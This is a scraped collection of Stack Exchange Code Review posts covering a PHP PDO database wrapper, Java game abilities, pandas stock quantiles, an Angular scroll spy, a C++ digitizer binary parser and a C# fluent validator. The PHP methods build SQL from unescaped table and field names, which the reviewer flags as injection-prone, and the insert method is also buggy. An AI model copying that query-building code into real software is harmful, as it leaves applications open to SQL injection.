* @param string tabella
* @param string $conditions campi e condizione
* @param array $params valori delle condizioni
* @return int affected rows
*/
public function deleteRecords(string $table, string $conditions, array $params = []): int
{
$delete = "DELETE FROM {$table} WHERE {$conditions}";
$this->prepare = $delete;
if(!empty($params))
{
$this->bindParams($params);
}
$this->execute();
return $this->rowCount();
}
/**
* Aggiorna un record del database
* @param string $table
* @param array $changes con le modifiche [field => value]
* @param array $conditions condizioni [id => 1]
*/
public function updateRecords(string $table, array $changes, array $conditions)
{
$changesStr = '';
$whereStr = '';
$cond_array = [];
foreach ($changes as $field => $value) {
$changesStr .= "{$field}=:param_{$field},";
}
// rimuovo l'ultiam , in eccesso
$changesStr = substr($changesStr, 0, -1);
foreach($conditions as $condition => $value){
$cond_array[] = "{$condition} = :where_{$condition}";
}
$whereStr = implode(' AND ', $cond_array);
$this->prepare("UPDATE {$table} SET {$changesStr} WHERE {$whereStr}");
//uso i prefissi per evitare sovrapposizioni tra parametri e condizioni
$this->bindParams($changes, 'param_');
$this->bindParams($conditions, 'where_');
$this->execute();
}
/**
* Inserisce record nel database
* @param string $table tabella
* @param array $data dati da inserire field => value
* @return bool
*/
public function insertRecords($table, $data)
{
$fieldsStr = '';
$valuesStr = '';
// genero la query
foreach ($data as $f => $v) {
$fieldsStr .= $f;
$valuesStr .= ":{$f}";
}
// rimuovo la , in eccesso
$fieldsStr = substr($fieldsStr, 0, -1);
// rimuovo la , in eccesso
$valuesStr = substr($valuesStr, 0, -1);
$this->prepare("INSERT INTO {$table} ({$fieldsStr}) VALUES ({$valuesStr})");
$this->bindParams($data);
$this->execute();
return true;
}
// Magic method clone is empty to prevent duplication of connection
private function __clone(){
return false;
}
private function __wakeup(){
return false;
}
public function lastInsertId(): int{
return $this->pdo->lastInsertId();
}
public function closeConnection(){
$this->pdo = null;
}
// Get the connection
public function getConnection(){
return $this->pdo;
}
}
?>
</code></pre>
<p>Is correct under the SOLID principles to insert the methods <code>insertRecords</code>, <code>updateRecords</code> and <code>deletedRecords</code> here or is better implement them in another class like <code>DataMapper</code>?</p>
| [] | [
{
"body": "<p>That's a pretty solid implementation, with many possible issues already solved. However, there is room for improvement still.</p>\n\n<p>Here is a brief list:</p>\n\n<ul>\n<li>Yes, you are absolutely right, a db wrapper must be <strong>separated from the data mapper</strong>, with <code>insertRecords</code>, <code>updateRecords</code> and <code>deletedRecords</code> moved into the latter.</li>\n<li><p>Your database wrapper offers <strong>less features than original PDO</strong>, which never should be. PDO is a db wrapper of its own, and not a bad one. It makes no sense to duplicate the functionality that already exists in PDO, at the same time reducing the existing functionality.</p>\n\n<ul>\n<li>bind() function is dangerous. Sniffing the database type from the PHP variable type could lead to unwanted consequences. Instead, bind all parameters as strings, just like PDO does. </li>\n<li><p>overall there is <strong>so much code</strong> to recreate the functionality that already exists in PDO. For example, your <code>resultset()</code> method could be implemented like this</p>\n\n<pre><code>public function resultset($sql, $params = [], $mode = PDO::FETCH_ASSOC)\n{\n $stmt = $this->pdo->prepare();\n $stmt->execute($params);\n return $stmt->fetchAll($mode);\n} \n</code></pre>\n\n<p>as you can see, it is implemented using only native PDO methods and in fact easier to use as it does everything in one call as opposed to your own consequent calls to <code>prepare()</code> and <code>resultset()</code>. Not to mention it makes such functions like <code>bindParams()</code>, <code>bind()</code>, <code>prepare()</code>, <code>execute()</code> just useless.</p></li>\n</ul></li>\n<li><p>Your data mapper functions are potentially <a href=\"https://phpdelusions.net/pdo/sql_injection_example\" rel=\"nofollow noreferrer\"><strong>prone to SQL injection</strong> through field names</a>. For this reason I strongly recommend to create a real data mapper class where each mapper is related to a distinct table with all field names explicitly written in the class definition. But that will be another story, I would suggest you to write a mapper and then post it for the review. </p></li>\n<li><p><code>$stmt</code> by no means should be a class variable as <a href=\"https://phpdelusions.net/pdo/common_mistakes#statefulness\" rel=\"nofollow noreferrer\">it will make your class stateful</a>, while it shouldn't be. The link is to my review of common mistakes in db wrappers you may find useful.</p></li>\n<li><strong>charset</strong> must be set in the DSN. See my article on the <a href=\"https://phpdelusions.net/pdo_examples/connect_to_mysql\" rel=\"nofollow noreferrer\">proper PDO connection</a></li>\n<li>I don't really get why config is passed <strong>by reference</strong>. I would remove that ampersand.</li>\n<li>the mode in <code>resultset()</code> and <code>single()</code> is hardcoded which I suppose is a typo. of course it should be a function parameter. </li>\n<li>the code in <code>resultset()</code> and <code>single()</code> is duplicated. Besides, both methods duplicate the functionality already exists in PDO. I would suggest to create a single function <code>query()</code> that returns a PDOStatement from wich you will be able to get any result using the method chaining. An example can be found in <a href=\"https://codereview.stackexchange.com/questions/183801/object-oriented-pdo-wrapper/183855#183855\">this answer</a></li>\n</ul>\n\n<p>Regarding the Interface. </p>\n\n<p>I would say that before creating an Interface, you must consider the architecture. There are some issues that must be taken into consideration. As it was noted above, under no circumstances a database class must be stateful. It means that you have only two possibilities:</p>\n\n<ul>\n<li>to use a <em>leaky abstraction</em>, so your class won't be 100% independent but it will return a PDOStatement. This way is easier to implement but in this case I don't see a much use for an Interface. Given your abstraction is already leaky (not all PDO methods are implemented and there is a fallback method to get a raw PDO instance) I would go this way. but it will not be 100% a good practice.</li>\n<li>to make a proper abstraction, for which you will need to have at least <strong>two Interfaces</strong> - one for a database wrapper class and one for a statement class, each implementing 100% of PDO functionality.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T22:06:10.060",
"Id": "432176",
"Score": "0",
"body": "Thank you for your reply and your links. They was very usefull. I've written some new code and I posted a new question [here](https://codereview.stackexchange.com/questions/223100/database-connection-and-datamapper)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T05:07:29.890",
"Id": "222842",
"ParentId": "222810",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222842",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T15:15:57.283",
"Id": "222810",
"Score": "2",
"Tags": [
"php",
"database",
"pdo",
"framework"
],
"Title": "Database interface and PDO adapter"
} | 222810 |
<p>I am creating a game in <code>Java</code> that uses the DND model for a lot of its components. I've hit a roadblock when it comes to creating and implementing abilities. I have thought of two ways I could implement this system:</p>
<blockquote>
<ul>
<li><strong>Using inheritance</strong>: Having separate classes that extend from the <code>Ability</code> class, each one specifying what kind of ability it is.</li>
<li><strong>Using enums</strong>: Having an extra parameter in the <code>Ability</code> constructor that specifies what type of ability it is.</li>
</ul>
</blockquote>
<p>Below are the two versions of this system that I could implement. I would appreciate feedback on which one is makes more sense to keep.</p>
<p><strong>OPTION 1: SEPERATE CLASSES</strong></p>
<pre><code>/**
* Checks if the player is high enough level to learn an ability
* Method is in `Player` class. This is the only relevent method
* that needs to be included from the `Player` class as it is the
* only method that deals with the `Ability` class.
*/
public void checkAbilityStatus() {
switch(this.getLevel()) {
case 1: this.abilities.add(new MeleeAbility("Attack", 0, this.weapon.getDamage(), (int)(this.weapon.getDamage() / 4))); break;
case 3: this.abilities.add(new MeleeAbility("Slam", 2, this.weapon.getDamage() + this.getLevel(),(int)((this.weapon.getDamage() + this.getLevel()) / 4))); break;
case 5: this.abilities.add(new Spell("Fireball", 5, this.weapon.getDamage() + this.getLevel(), (int)((this.weapon.getDamage() + this.getLevel()) / 4))); break;
case 8: this.abilities.add(new AOEAbility("Thunder Clap", 3, this.weapon.getDamage() + this.getLevel(), (int)((this.weapon.getDamage() + this.getLevel()) / 4))); break;
case 10: this.abilities.add(new Spell("Pyroblast", 10, this.weapon.getDamage() * this.getLevel(), (int)((this.weapon.getDamage() + this.getLevel()) / 4))); break;
}
}
public class Ability {
/* Private instance variables not shown */
public Ability(String name, int manaCost, int damage, int damageFlux) {
this.name = name;
this.manaCost = manaCost;
this.damage = damage;
this.damageFlux = damageFlux;
this.minDamage = this.damage - this.damageFlux;
this.maxDamage = this.damage + this.damageFlux;
this.random = new Random();
}
/* Misc getters/setters and toString method not shown */
}
class Spell extends Ability {
public Spell(String name, int manaCost, int damage, int damageFlux) {
super(name, manaCost, damage, damageFlux);
}
}
class MeleeAbility extends Ability {
public MeleeAbility(String name, int manaCost, int damage, int damageFlux) {
super(name, manaCost, damage, damageFlux);
}
}
class RangedAbility extends Ability {
public RangedAbility(String name, int manaCost, int damage, int damageFlux) {
super(name, manaCost, damage, damageFlux);
}
}
class AOEAbility extends Ability {
public AOEAbility(String name, int manaCost, int damage, int damageFlux) {
super(name, manaCost, damage, damageFlux);
}
}
</code></pre>
<p><strong>OPTION 2: USING ENUMS</strong></p>
<pre><code>/**
* Checks if the player is high enough level to learn an ability
* Method is in `Player` class. This is the only relevent method
* that needs to be included from the `Player` class as it is the
* only method that deals with the `Ability` class.
*/
public void checkAbilityStatus() {
switch(this.getLevel()) {
case 1: this.abilities.add(new Ability("Attack", 0, this.weapon.getDamage(), (int)(this.weapon.getDamage() / 4)), AbilityType.MELEE); break;
case 3: this.abilities.add(new Ability("Slam", 2, this.weapon.getDamage() + this.getLevel(),(int)((this.weapon.getDamage() + this.getLevel()) / 4)), AbilityType.MELEE); break;
case 5: this.abilities.add(new Ability("Fireball", 5, this.weapon.getDamage() + this.getLevel(), (int)((this.weapon.getDamage() + this.getLevel()) / 4)), AbilityType.SPELL); break;
case 8: this.abilities.add(new Ability("Thunder Clap", 3, this.weapon.getDamage() + this.getLevel(), (int)((this.weapon.getDamage() + this.getLevel()) / 4)), AbilityType.AOE); break;
case 10: this.abilities.add(new Ability("Pyroblast", 10, this.weapon.getDamage() * this.getLevel(), (int)((this.weapon.getDamage() + this.getLevel()) / 4)), AbilityType.SPELL); break;
}
}
public enum AbilityType {
MELLE, SPELL, RANGED, AOE
}
public class Ability {
/* Private instance variables not shown */
public Ability(String name, int manaCost, int damage, int damageFlux, AbilityType abilityType) {
this.name = name;
this.manaCost = manaCost;
this.damage = damage;
this.damageFlux = damageFlux;
this abilityType = abilityType;
this.minDamage = this.damage - this.damageFlux;
this.maxDamage = this.damage + this.damageFlux;
this.random = new Random();
}
/* Misc getters/setters and toString method not shown */
}
</code></pre>
| [] | [
{
"body": "<p>As your code stands, I would opt for <strong>OPTION 2: USING ENUMS</strong>.</p>\n\n<p>Consider inheritance only when the derived classes have specific state/operations that are not compatible with other derived classes. Don't abuse inheritance when a simple property (in this case of an enum type) allows to distinguish a certain feature amongst instances of a given type.</p>\n\n<p>Example where inheritance is justified:</p>\n\n<pre><code>class RangedAbility extends Ability {\n\n public RangedAbility(String name, int manaCost, int damage, int damageFlux) {\n super(name, manaCost, damage, damageFlux);\n }\n\n // specific operations for RangedAbility\n\n public void CastRangedProjectile() { /* ... */ }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T16:39:40.903",
"Id": "222814",
"ParentId": "222812",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222814",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T16:02:53.200",
"Id": "222812",
"Score": "2",
"Tags": [
"java",
"object-oriented",
"comparative-review",
"enum"
],
"Title": "Two ways to implement DND type abilities"
} | 222812 |
<p>This function sorts stocks into quantiles.
To do so I used this function that accepts <code>sig_df</code> (dataframe with the timeseries of stocks signal) and number of quantiles as imput: </p>
<pre><code>qs = ['Q' + str(i) for i in range(1, len(perc)+1)]
q_labels= list(itertools.chain.from_iterable(
itertools.repeat(x, int(sig_df.shape[1]/q_num)) for x in qs))
rank_labels = ['rank_{}'.format(i) for i in range(sig_df.shape[1])]
bucketed_names = pd.DataFrame(
sig_df.columns.values[np.argsort(-sig_df.values, axis=1)],
columns=[q_labels, rank_labels]
)
</code></pre>
<p>The second function computes portfolio returns, based on the names bucketed in the function above. It accepts two input a <code>ret_df</code> containing stocks return and the output from the function above. To do so I used:</p>
<pre><code>bucketed_returns = dict()
for i in range(1, int(ret_df.shape[1]/bucketed_names.Q1.shape[1])):
Q = []
for row in bucketed_names['Q' + str(i)].itertuples():
temp = ret_df.loc[list(row[:1]) ,list(row[1:])]
Q.append(float(np.dot(temp, weights)))
bucketed_returns['Q' + str(i)] = Q
bucketed_returns = pd.DataFrame(bucketed_returns)
</code></pre>
<p>To optimize this code I thought about multiprocessing — but as a beginner I don't know how — or maybe there could be a better way remaining in pandas/numpy environment.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T16:56:28.987",
"Id": "431454",
"Score": "0",
"body": "Why aren't you able to code multiprocessing?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T16:58:43.733",
"Id": "431455",
"Score": "1",
"body": "I am a beginner and the libraries online are not so clear"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T16:43:07.567",
"Id": "222815",
"Score": "1",
"Tags": [
"python",
"performance",
"numpy",
"statistics",
"pandas"
],
"Title": "Sortings stocks into quantiles based on their signal"
} | 222815 |
<p>I have made a timeline component that can have multiple milestone/major/minor as sub components nested within timeline container component. I have also added a side navigation for that lists all Milestones. Therefore I append <code>range</code> property to <code>TimelineMilestoneComponent</code> which contains the top position <code>value(offestTop)</code> of its and consecutive element. like below </p>
<pre><code>arr[i + 1] ? arr[i + 1].htmlEl.offsetTop - 1 : Infinity
</code></pre>
<p>Scroll Listener checks scroll position with with range values to decide if that is current viewed milestone. </p>
<p><strong>Is the implementation correct?
What is better way of accomplishing this?</strong></p>
<p><a href="https://i.stack.imgur.com/298oj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/298oj.png" alt="Rendered component"></a></p>
<p>Here is the component Class</p>
<pre><code>export class TimelineComponent implements OnInit, AfterContentInit {
milestones: Array<ExtendedTimelineMilestoneComponent>;
visbleMilestone: ExtendedTimelineMilestoneComponent;
@Input()
themeColor = "#254267";
@HostBinding("attr.style")
public get valueAsStyle(): any {
return this.sanitizer.bypassSecurityTrustStyle(
`--theme-color: ${this.themeColor}`
);
}
@HostListener("window:scroll", ["$event.target"])
public scrollListener(doc: HTMLDocument): void {
//avoid update visbleMilestone if scroll is within its scope
if (
window.scrollY < this.visbleMilestone.range[0] &&
window.scrollY > this.visbleMilestone.range[1]
) {} else {
this.milestones.every(m => {
if (window.scrollY >= m.range[0] && window.scrollY < m.range[1]) {
this.visbleMilestone = m;
return false;
}
return true;
});
}
}
@ContentChildren(TimelineMilestoneComponent)
set _milestones(milestones: QueryList<TimelineMilestoneComponent>) {
this.milestones = milestones.map((m, i, arr) =>
Object.assign(m, {
range: [
m.htmlEl.offsetTop,
arr[i + 1] ? arr[i + 1].htmlEl.offsetTop - 1 : Infinity
],
})
);
}
constructor(private sanitizer: DomSanitizer) {}
ngOnInit() {}
ngAfterContentInit() {
this.visbleMilestone = this.milestones[0] ? this.milestones[0] : null;
}
scrollToMilestone(m: TimelineMilestoneComponent) {
m.htmlEl.scrollIntoView({ behavior: "smooth" });
}
}
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T17:13:34.937",
"Id": "222816",
"Score": "2",
"Tags": [
"event-handling",
"dom",
"typescript",
"angular-2+"
],
"Title": "Angular 8: Scroll spy implementation for a timeline Contents"
} | 222816 |
<h1>Preliminaries</h1>
<p>I have CAEN Digitizer N6720A and use <a href="https://www.caen.it/products/caen-wavedump/" rel="nofollow noreferrer">WaveDump</a> software for the data acquisition and recording.
As a result of data recording this software produces a binary file in which the sequence of events is present. Each event has the following structure:</p>
<ol>
<li>Header of an event</li>
<li>Event's data points</li>
</ol>
<p>So the entire binary file looks like this:</p>
<pre><code><header><point><point><point>...
<header><point><point><point>...
</code></pre>
<h3><code>Header</code> and some auxiliary constants</h3>
<pre><code>namespace caen
{
struct Header
{
uint32_t EVENT_SIZE;//header + data
uint32_t BOARD_ID;
uint32_t PATTERN;//meaningful only for VME boards
uint32_t CHANNEL;//channel number
uint32_t EVENT_COUNTER;
uint32_t TRIGGER_TIME_TAG;
};
typedef uint16_t ADC_SIZE;
const double SAMPLE_TIME = 4.0;//ns
const unsigned N_BITS = 12;//
const double FSR = 2.0;//V
const double LSB = FSR / ( (1 << N_BITS) - 1 );//V
}
</code></pre>
<p>In order to read, parse and analyse data from such binaries I have written a small C++ library which I describe below (except analysis part).</p>
<h1>Parser</h1>
<p>There are two main classes which are taking part in reading and parsing binaries. Those are <code>Event</code> and <code>Parser</code>.</p>
<h2><code>Event</code> class</h2>
<p>This class represents a <em>single</em> event. It stores the header and the data points of the event (and some additional info). Usually one needs only one instance of this class to exist.</p>
<h3>Event.h</h3>
<pre><code>#ifndef EVENT_H
#define EVENT_H
#include <fstream>
#include <vector>
#include <cstddef>
#include "ADC.h"//Header and board specific constants
namespace caen
{
class Parser;
struct Point
{
//This structure represents one data point in a waveform
double time;//real time (in nanosecs)
double voltage;//real voltage (in volts)
Point( double time, double voltage ) : time( time ), voltage( voltage ) { }
};
class Event
{
//This class represents a single event
public :
enum POLARITY { NEGATIVE, POSITIVE };
protected :
std::fstream::pos_type position;//position (in bytes) of this event in the entire binary file
Header header;
std::vector<Point> points;
POLARITY polarity;
public :
typedef typename std::vector<Point>::const_iterator const_point_iterator;
const_point_iterator cbegin() const { return points.cbegin(); }
const_point_iterator cend() const { return points.cend(); }
Event() :
position( 0 ),
polarity( NEGATIVE )
{ }
void Clear()
{
position = 0;
points.clear();
}
void SetPolarity( POLARITY pol ) { polarity = pol; }
size_t GetSize() const { return points.size(); }
double GetLength() const { return (points.back()).time; }
POLARITY GetPolarity() const { return polarity; }
void Print() const;
friend class Parser;
};
}
#endif
</code></pre>
<h2><code>Parser</code> class</h2>
<p>This class does all the work in reading and parsing procedure. It has member <code>ReadEvent</code> which returns <code>true</code> if an event read successfully and <code>false</code> otherwise.</p>
<h3><code>Parser::ReadEvent</code> member</h3>
<pre><code>bool Parser::ReadEvent( Event& event )
{
//clear vector of points and set event's position to 0
event.Clear();
std::ifstream file;
file.exceptions( std::ios::failbit | std::ios::badbit );
try
{
file.open( pathToFile, std::ios::binary );
//start reading from the first position after the last event read
file.seekg( currentPosition );
//read event information first: board ID, trigger time tag, ...
file.read( reinterpret_cast<char*>( &event.header ), sizeof( event.header ) );
//dataSize is the size (in bytes) of a waveform = total size of event - size of header
uint32_t dataSize = (event.header.EVENT_SIZE - sizeof(event.header));
//must contain whole number of points.
//ADC_SIZE is a typedef defined in <Device>.h
if( !(dataSize % sizeof(ADC_SIZE)) )
{
//read wavefoem
for( uint32_t i = 0; i < (dataSize / sizeof(ADC_SIZE)); i++ )
{
ADC_SIZE adcValue;
file.read( reinterpret_cast<char*>( &adcValue ), sizeof( adcValue ) );
event.points.push_back( { RealTime( i ), RealVoltage( adcValue ) } );
}
//update input position indicator
//next event will be being read from this point
event.position = currentPosition;
currentPosition = file.tellg();
//Increment number of successfully read events
nEvents++;
}
else//number of points is not a whole number
{
PrintWarning( "Data block seems to be corrupted. Number of points is not a whole number. Failure occurred reading an event at:" );
PrintCurrentPosition();
file.close();
return false;
}
file.close();
}
catch( const std::ifstream::failure& e )
{
//make sure that before reaching the EOF
//no data was read
if( file.eof() and !file.gcount() )
{
PrintInfo( "EOF has been reached. All data read successfully." );
}
else
{
PrintWarning( "Data block seems to be corrupted. Couldn't open/read/close binary. Failure occurred reading an event at:" );
PrintCurrentPosition();
}
return false;
}
return true;
}
</code></pre>
<p>The main idea behind the above member is <em>to read the binary event by event</em>. It is accomplished by having the <code>Parser::currentPosition</code> member data which stores the position of the next potential event. This approach allows a user to analyse event on-the-fly (see <strong>Usage</strong> section) while not keeping file open.</p>
<h2>Usage</h2>
<p>Usage is straightforward. One must instantiate <code>Event</code> and <code>Parser</code> objects and then call the <code>Parser::ReadEvent</code> member function to read an event:</p>
<pre><code>#include "Parser.h"
int main()
{
caen::Parser p( "path/to/file" );
caen::Event e;
//I usually need this software to record a lot
//of waveforms for further analysis, for example
//to have integral spectra
while( p.ReadEvent( e ) )
{
//do something ...
}
return 0;
}
</code></pre>
<p>As always, any suggestions, critics and ideas are appreciated.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:43:23.950",
"Id": "431460",
"Score": "0",
"body": "A definition of `Event.Header` would be very helpful."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:59:40.433",
"Id": "431466",
"Score": "0",
"body": "@vnp, I have added info about the header."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:14:00.753",
"Id": "222818",
"Score": "3",
"Tags": [
"c++",
"parsing",
"stream"
],
"Title": "Reading and parsing binary file from CAEN Digitizer (written by WaveDump)"
} | 222818 |
<p>Inspired by <a href="https://codereview.stackexchange.com/questions/222773/simple-object-validator-with-a-new-api/222780#222780">this question by t3chb0t</a> and as an elaboration of my own answer, I have written the following solution. My goal was to reduce complexity both in implementation and use. Eventually - I have to admit - the implementation ended up being rather complex - but in my flavor; but in terms of ease of use, I think I succeeded. My original idea was inspired by Railway Oriented Programming, but I don't think I can claim to conform to that in the following.</p>
<p>The use case is as follows:</p>
<pre><code>private static void ValidationTest()
{
var validator = Validator.For<Person>(ValidationStopConditions.RunAll)
.WarnIfTrue(p => p.Age > 50, "Person is older than 50")
.WarnIfFalse(p => p.Age < 50, "Person is older than 50")
.NotNull(p => p.LastName, "LastName is null")
.MustBeNull(p => p.LastName, "LastName should be null")
.IsTrue(p => p.FirstName.Length > 3, "First Name is too short")
.IsFalse(p => p.FirstName.StartsWith("Cos"), "First Name starts with Coo")
.Match(p => p.Address.Street, @"^Sesa(m|n)e Street$", "Street Name doesn't conform to the pattern");
DoTheValidation(validator, Tester);
}
private static void ValidationTestDefaultErrorMessages()
{
var validator = Validator.For<Person>(ValidationStopConditions.RunAll)
.WarnIfTrue(p => p.Age < 50, null)
.WarnIfFalse(p => p.Age < 50, null)
.NotNull(p => p.LastName, null)
.MustBeNull(p => p.LastName, null)
.IsTrue(p => p.FirstName.Length < 3, null)
.IsFalse(p => p.FirstName.StartsWith("Coo"), null)
.Match(p => p.Address.Street, @"^Sesa(m|n)e Street$", null);
DoTheValidation(validator, Tester);
}
private static void DoTheValidation<T>(Validator<T> validator, T source)
{
var result = source.ValidateWith(validator);
Console.WriteLine("The following Errors were found: ");
foreach (ValidateResult<T> failure in result.Where(r => (r as Success<T>) is null))
{
Console.WriteLine(failure);
}
}
private class Person
{
public string FirstName { get; set; }
public string LastName { get; set; }
public Address Address { get; set; }
public int Age { get; set; }
}
private class Address
{
public string Street { get; set; }
}
private static readonly Person Tester = new Person
{
FirstName = "Cookie",
LastName = "Monster",
Age = 45,
Address = new Address
{
Street = "Sesame Street"
}
};
</code></pre>
<p>As shown, it's possible to add validation rules in an easy fluent manner.</p>
<hr>
<p>The <code>ValidationStopConditions</code> is defined as:</p>
<pre><code> public enum ValidationStopConditions
{
RunAll = 1,
StopOnFailure = 2,
StopOnWarning = 3
}
</code></pre>
<p>and determines if all rules should be run no matter what happens or if the validation stops on first failure or warning.</p>
<hr>
<p>The <code>Validator</code> class looks like:</p>
<pre><code> public static class Validator
{
public static Validator<TSource> For<TSource>(ValidationStopConditions stopCondition = ValidationStopConditions.RunAll) => new Validator<TSource>(stopCondition);
}
public class Validator<T>
{
List<Func<T, ValidateResult<T>>> m_rules = new List<Func<T, ValidateResult<T>>>();
public Validator(ValidationStopConditions stopCondition)
{
StopCondition = stopCondition;
}
public ValidationStopConditions StopCondition { get; }
public IReadOnlyList<ValidateResult<T>> Validate(T source)
{
if (source == null) return Enumerable.Empty<ValidateResult<T>>().ToList();
switch (StopCondition)
{
case ValidationStopConditions.RunAll:
return m_rules.Select(rule => rule(source)).ToList();
case ValidationStopConditions.StopOnFailure:
{
List<ValidateResult<T>> results = new List<ValidateResult<T>>();
foreach (var rule in m_rules)
{
var result = rule(source);
results.Add(result);
if (result is Failure<T>)
return results;
}
return results;
}
case ValidationStopConditions.StopOnWarning:
{
List<ValidateResult<T>> results = new List<ValidateResult<T>>();
foreach (var rule in m_rules)
{
var result = rule(source);
results.Add(result);
if (result is Warning<T>)
return results;
}
return results;
}
default:
throw new InvalidOperationException($"Invalid Stop Condition: {StopCondition}");
}
}
internal void AddRule(Predicate<T> predicate, string errorMessage)
{
Func<T, ValidateResult<T>> rule = source =>
{
if (predicate(source))
return new Success<T>(source);
return new Failure<T>(source, errorMessage);
};
m_rules.Add(rule);
}
internal void AddWarning(Predicate<T> predicate, string warningMessage)
{
Func<T, ValidateResult<T>> rule = source =>
{
if (predicate(source))
return new Success<T>(source);
return new Warning<T>(source, warningMessage);
};
m_rules.Add(rule);
}
}
</code></pre>
<p>And the rules are defined as extension methods as:</p>
<pre><code> public static class ValidationRules
{
// Helper method - not a rule
private static string GetDefaultMessage(this Expression expression, string format)
{
ValidateExpressionVisitor visitor = new ValidateExpressionVisitor();
visitor.Visit(expression);
return string.Format(format, visitor.Message);
}
public static Validator<T> NotNull<T, TMember>(this Validator<T> validator, Expression<Func<T, TMember>> expression, string errorMessage)
{
errorMessage = errorMessage ?? expression.GetDefaultMessage("{0} is null");
var getter = expression.Compile();
Predicate<T> predicate = source => getter(source) != null;
validator.AddRule(predicate, errorMessage);
return validator;
}
public static Validator<T> MustBeNull<T, TMember>(this Validator<T> validator, Expression<Func<T, TMember>> expression, string errorMessage)
{
errorMessage = errorMessage ?? expression.GetDefaultMessage("{0} is not null");
var getter = expression.Compile();
Predicate<T> predicate = source => getter(source) == null;
validator.AddRule(predicate, errorMessage);
return validator;
}
public static Validator<T> IsTrue<T>(this Validator<T> validator, Expression<Predicate<T>> predicate, string errorMessage)
{
errorMessage = errorMessage ?? predicate.GetDefaultMessage("{0} is not true");
validator.AddRule(predicate.Compile(), errorMessage);
return validator;
}
public static Validator<T> WarnIfTrue<T>(this Validator<T> validator, Expression<Predicate<T>> predicate, string message)
{
message = message ?? predicate.GetDefaultMessage("{0} is true");
validator.AddWarning(src => !predicate.Compile()(src), message);
return validator;
}
public static Validator<T> IsFalse<T>(this Validator<T> validator, Expression<Predicate<T>> predicate, string errorMessage)
{
errorMessage = errorMessage ?? predicate.GetDefaultMessage("{0} is not false");
validator.AddRule(src => !predicate.Compile()(src), errorMessage);
return validator;
}
public static Validator<T> WarnIfFalse<T>(this Validator<T> validator, Expression<Predicate<T>> predicate, string message)
{
message = message ?? predicate.GetDefaultMessage("{0} is false");
validator.AddWarning(predicate.Compile(), message);
return validator;
}
public static Validator<T> Match<T>(this Validator<T> validator, Expression<Func<T, string>> expression, string pattern, string errorMessage)
{
errorMessage = errorMessage ?? $@"{expression.GetDefaultMessage("")} doesn't match pattern: ""{pattern}""";
var getter = expression.Compile();
Predicate<T> predicate = source => Regex.IsMatch(getter(source), pattern);
validator.AddRule(predicate, errorMessage);
return validator;
}
}
</code></pre>
<p>New rules can easily be added when needed.</p>
<p>The result of each validation can either be <code>Success<T></code>, <code>Warning<T></code> or <code>Failure<T></code>:</p>
<pre><code> public abstract class ValidateResult<T>
{
public ValidateResult(T source)
{
Source = source;
}
public T Source { get; }
}
public class Success<T> : ValidateResult<T>
{
public Success(T source) : base(source)
{
}
public override string ToString()
{
return "Everything is OK";
}
}
public class Failure<T> : ValidateResult<T>
{
public Failure(T source, string message) : base(source)
{
Message = message;
}
public string Message { get; }
public override string ToString()
{
return $"Error: {Message}";
}
}
public class Warning<T> : ValidateResult<T>
{
public Warning(T source, string message) : base(source)
{
Message = message;
}
public string Message { get; }
public override string ToString()
{
return $"Warning: {Message}";
}
}
</code></pre>
<p>The message member of <code>Warning</code> and <code>Failure</code> will be either the provided message argument to the rule or an auto generated default.</p>
<hr>
<p>A convenient api:</p>
<pre><code> public static class ValidationExtensions
{
public static IReadOnlyList<ValidateResult<T>> ValidateWith<T>(this T source, Validator<T> validator)
{
if (source == null) throw new ArgumentNullException(nameof(source));
if (validator == null) throw new ArgumentNullException(nameof(validator));
return validator.Validate(source);
}
}
</code></pre>
<hr>
<p>The default error/warning messages are found using a simple <code>ExpressionVisitor</code>:</p>
<pre><code> internal class ValidateExpressionVisitor : ExpressionVisitor
{
public ValidateExpressionVisitor()
{
}
public string Message { get; private set; }
protected override Expression VisitLambda<T>(Expression<T> node)
{
Message = node.Body.ToString();
return base.VisitLambda(node);
}
}
</code></pre>
<p>This is very basic, and is intended only for test, development and debugging. </p>
<hr>
<p>Any comments are welcome.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:51:22.713",
"Id": "431464",
"Score": "3",
"body": "_the implementation ended up being rather complex_ - it virtually always does ;-]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:54:36.827",
"Id": "431465",
"Score": "3",
"body": "@t3chb0t: But I naively hope every time.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:02:03.097",
"Id": "431539",
"Score": "0",
"body": "What is the intended behaviour when `StopOnWarning` encounters an error? Currently it continues. That's not what I would have expected."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:09:13.733",
"Id": "431541",
"Score": "0",
"body": "@JAD: Good catch. Is seems counter intuitive to let an error pass but stepping out on a following warning. I nearly regret that I introduced this flag type, and I have another concept in mind."
}
] | [
{
